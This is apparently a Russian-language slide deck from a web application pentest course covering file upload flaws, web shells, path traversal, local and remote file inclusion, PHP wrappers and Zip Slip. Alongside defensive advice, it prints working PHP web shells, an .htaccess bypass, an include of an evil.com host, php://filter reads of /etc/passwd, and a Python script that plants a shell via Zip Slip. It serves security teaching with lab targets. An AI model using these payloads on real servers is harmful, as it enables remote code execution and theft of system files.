---
# System prepended metadata

title: Web App Pentest - 0x07 File Issues
tags: [CSR - Web App Pentest]

---

---
title: Web App Pentest - 0x07 File Issues
tags: CSR - Web App Pentest
slideOptions:
  transition: 'fade'
  parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---

<style>
.reveal {
  font-size: 36px;
}
</style>

# Web App Pentest 

## File Issues

---

Темы занятия:

- File Upload
- Web Shell
- Mime Types
- Local File Read
- Local/Remote File Inclusion
- URL schema/PHP wrappers
- Arhive upload

---

## File Upload

---

## File Upload

Атакa, при которой атакующий может загрузить исполняемый файл в доступный каталог веб-приложения, после чего переход на него приводит к выполнению произвольного кода на сервере.

---

## Web shell

Веб-шелл - программа, предназначенная для выполнения команд ОС через веб-приложение.

https://github.com/tennc/webshell 

---

## Web shell

Простейший веб-шелл на PHP:

```php=
<?php system($_GET['cmd']); ?>
```

---

## Web shell

Веб-шелл на PHP с выводом ошибок и возможностью загрузки файлов:

```php=
<?php 
$x="pipe"; 
$z=array($x, "w"); 
$proc=proc_open($_REQUEST["c"],array(array($x,"r"),$z,$z),$ps); 
echo "Output: \n".stream_get_contents($ps[1]).
     "Errors: \n".stream_get_contents($ps[2]); 
echo "\nWrited bytes: ".file_put_contents(
            $_REQUEST["fname"],
            base64_decode($_REQUEST["data"])); 
?> 
```

---

## Практика bWAPP

Other bugs/ Unrestricted File Upload

---

## Обход ограничений на расширения

Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список).

Есть другие расширения 
```
cat /etc/apache2/mods-available/php5.conf
```

---

## Обход ограничений на расширения

Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список).

Для Apache можно загрузить .htaccess с содержимым:

```
AddType application/x-httpd-php .gif
```

После этого картинки в папке станут обрабатываться как PHP.

---

## Extension power

Веб-сервера обрабатывают файлы в зависимости от расширения.

https://mike-n1.github.io/ExtensionsOverview

---

## File Upload MindMap

https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%20Insecure%20Files/Images/file-upload-mindmap.png

--- 

## JSP - web shell

<пример tomcat>

`docker run -p 8071:8080 cth123123/tomcat_vulnerable`

---

## File Upload - Как защищаться?

Рекомендуется:
* Сохранять файлы в БД
* Сохранять файлы на s3 bucket с отдельным доменным именем
* Загружать файлы вне webroot;
* Давать пользовательским файлам случайные имена, не использовать расширение загруженного файла;

Сложнее и хуже работают:
* Белый список расширений файлов;
* Проверка содержимого файла на соответствие типу (например, проверка того, что файл действительно картинка)

---

## MIME types

---

## MIME types

Multipurpose Internet Mail Extensions

Стандарт по именованию типов файлов.

Как правило веб-приложения определяют тип файла именно как MIME.

---

## MIME types

Два разных подхода:
* На основе содержимого файла
* На основе переданного MIME-типа

Во-втором случае тип может быть легко подделан.

---

## MIME types

![](https://i.imgur.com/CMeUsDQ.png)

---

## MIME types

Проверка на основе содержания файла может также быть неэффективна (смотря от чего мы защищаемся).
Есть известные полиглоты.
phar -> jpg/gif/etc. (в stub)
php -> gif/jpg/etc. (в любой секции данных)

---

## Path Traversal

---

## Path Traversal

Path (Directory) Traversal

Атака, при которой атакующий может передавать в параметре, соответствующем имени файла символы `../` (или `..\` для Windows) для доступа к файлам в других директориях.

---

## Path Traversal

bWAPP - Directory Traversal

---

## Path Traversal - Как защищаться?

* Вместо настоящих путей до файлов используйте идентификаторы, их и принимайте от пользователей.
* Нормализуйте путь, переданный пользователем, и проверяйте что результат внутри ожидаемой директории
* Блокируйте запросы в которых есть две точки подряд ".."

---

## Local & Remote File Inclusion

---

## Local File Inclusion

Уязвимость, при которой пользовательский ввод попадает в параметр функций `include` или `require` PHP, что может привести к выполнению загруженных пользователем файлов.

---

## Local File Inclusion

Пример работы функции `include`

---

## Local File Inclusion

Идея атаки следующая - загружаем файл с <?php ... ?>, а после передаем путь до него функции include.

```php=
include($_GET['page']);
```

page=upload/123.jpg

---

## Remote File Inclusion

Веб-приложение может "инклюдить" удаленные файлы, например:
```php
include('http://evil.com/123.php')
```

Возможно только при настройках PHP (в php.ini):
```
allow_url_include = On
allow_url_fopen = On
```

---

## LFI

bWAPP - Remote & Local File Inclusion

* Демонстрация LFI
* Демонстрация RFI (php.ini)
* Демонстрация LFI через файл сессии

---

## LFI - сессии

Файлы сессий могут лежать в:
- /tmp/sess_sessid
- /var/lib/php/session/sess_sessid
- /var/lib/php5/session/sess_sessid

Также посмотреть путь к директории с сессиями можно в выводе phpinfo().

---

## PHP и нулевой байт

Если приложение при включении файла добавляет расширение, а мы не можем загрузить .php:

```php=
include('/includes/'+$_GET['lang'] + '.php');
```

то может помочь нулевой байт

```
lang=../uploads/123.jpg%00
```

```php=
include('/includes/../uploads/123.jpg%00.php')
```

* Не работает в современных версиях PHP

---

## LFI/RFI - Как защищаться?

Создать белый список файлов, включение которых разрешено. Проверять что переданный параметр соответствует одному из этих файлов.

<Демонстрация в bWAPP security_level=2>

---

## Local File Read

---

## Local File Read

Атака, в результате которой атакующий получает возможность чтения файлов из файловой системы хоста с уязвимым приложением.

---

## Local File Read

А что читать то?

---

## Local File Read

* Стандартные файлы сервисов и ОС
* Исходный код

---

## Local File Read - Стандартные файлы

* /proc/*
* /etc/passwd, /etc/issue/, /etc/hosts, /etc/hostname, etc.
* Логи: /var/log
* Конфиги: nginx, apache, php, etc.

Неплохой перечень:
https://nets.ec/File_Inclusion
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html

---

## Local File Read - Исходный код

Положение webroot можно найти в конфиге nginx/apache
PHP/Python/JS: качаем index.php/wsgi.py/index.js, в нем смотрим зависимости, качаем их и т.д.
Компилируемые - качаем собранные модули и декомпилим

---

## Local File Read - Исходный код

C# - как правило код в DLL.

web.config как правило лежит в webroot и может содержать имя DLL

DLL можно скачать из webroot или webroot/bin

---

## Local File Read - Исходный код

C# - Декомпиляция:
* .Net Reflector
* ILSpy
* dotPeek
* dnSpy

Лучше два последних

---

## Local File Read - Исходный код

Java:
Код в .jar файлах либо в .class файлах

* `WEB-INF/web.xml` - тут описание всего приложения
* `WEB-INF/lib` - тут могут быть .jar
* `WEB-INF/classes` - тут в подпапках скомпилированные Java-классы

---

## Local File Read - Исходный код

Java - декомпиляция:
* JD-gui
* Jadx-gui
* fernflower
* bytecode-viewer - объединяет все выше указанные

https://github.com/Konloch/bytecode-viewer/releases

---

## URL Schema в операциях с файлами

---

## URL Schema

Полезные схемы:
* file:// - обращение к локальным файлам
* data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

---

## URL Schema

#### file://

Может в некоторых случаях помочь обойти какие-то блокировки

---

## URL Schema

#### data://

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

Может использоваться в LFI, если мы ничего не можем загрузить.

---

## PHP Wrappers

---

## PHP Wrappers

PHP поддерживает ряд схем-оберток, которые могут использоваться в операциях с файлами.

https://www.php.net/manual/en/wrappers.php 


---

## PHP Wrappers

Схема` php://`

`php://input` - содержимое тела запроса

`php://filter/resource=/etc/passwd`
`php://filter/read=convert.base64-encode/resource=/etc/passwd` - применяет фильтры, позволяет читать локальные файлы

https://www.php.net/manual/en/wrappers.php.php 

---

## URL Schema

Если разработчики запрещают использовать какие то схемы, которые нам хотелось бы (например, file://), то дополнительные схемы PHP могут нам помочь.

<Демонстрация data://
php://input
php://filter
>

---

## URL Schema

Практика - Wrappers.

---

## Archive Upload Issues

---

## Archive Upload Issues

С загрузкой архивов связано две основные проблемы:

1. В архиве содержатся файлы с ../ в имени (Zip Slip).
1. В архиве содержатся символические ссылки, что может привести к чтению/записи файлов вне ожидаемой директории

---

## Zip Slip

Файлы с `../../` распаковываются архиватором вне ожидаемой директории. В результате могут быть созданы или перезаписаны файлы приложения или системы.

---

## Zip Slip - создание архива

```python
zip -r zipslip.zip ../../../../app/index.php
```

---

## Zip Slip - создание архива

```python
import zipfile 
from io import BytesIO 

def _build_zip(): 
    f = BytesIO() 
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) 
    z.writestr('../../../var/www/html/shell.php','<?php passthru($_GET["c"]); ?>') 
    z.close() 
    zip = open('poc.zip', 'wb') 
    zip.write(f.getvalue()) 
    zip.close() 
    
_build_zip()
```

---

## Zip Slip

Большинство утилит командной строки и библиотек на данный момент защищены от Zip Slip, но если разработчики считывают архив самостоятельно, то ошибки все еще возможны.

---

## Создание архивов

Чтобы не расставлять файлы в файловой системе перед их упаковкой командой zip, можно воспользоваться функцией на python.

---

## Symlinks

В архив может быть помещена символическая ссылка.

Если веб-приложение разархивирует симолические ссылки и позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.

---

## Symlinks

Создать архив с символической ссылкой:

```
ln -s ../../../../etc/passwd file
zip --symlinks res.zip file
```

Если веб-приложение позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.

---

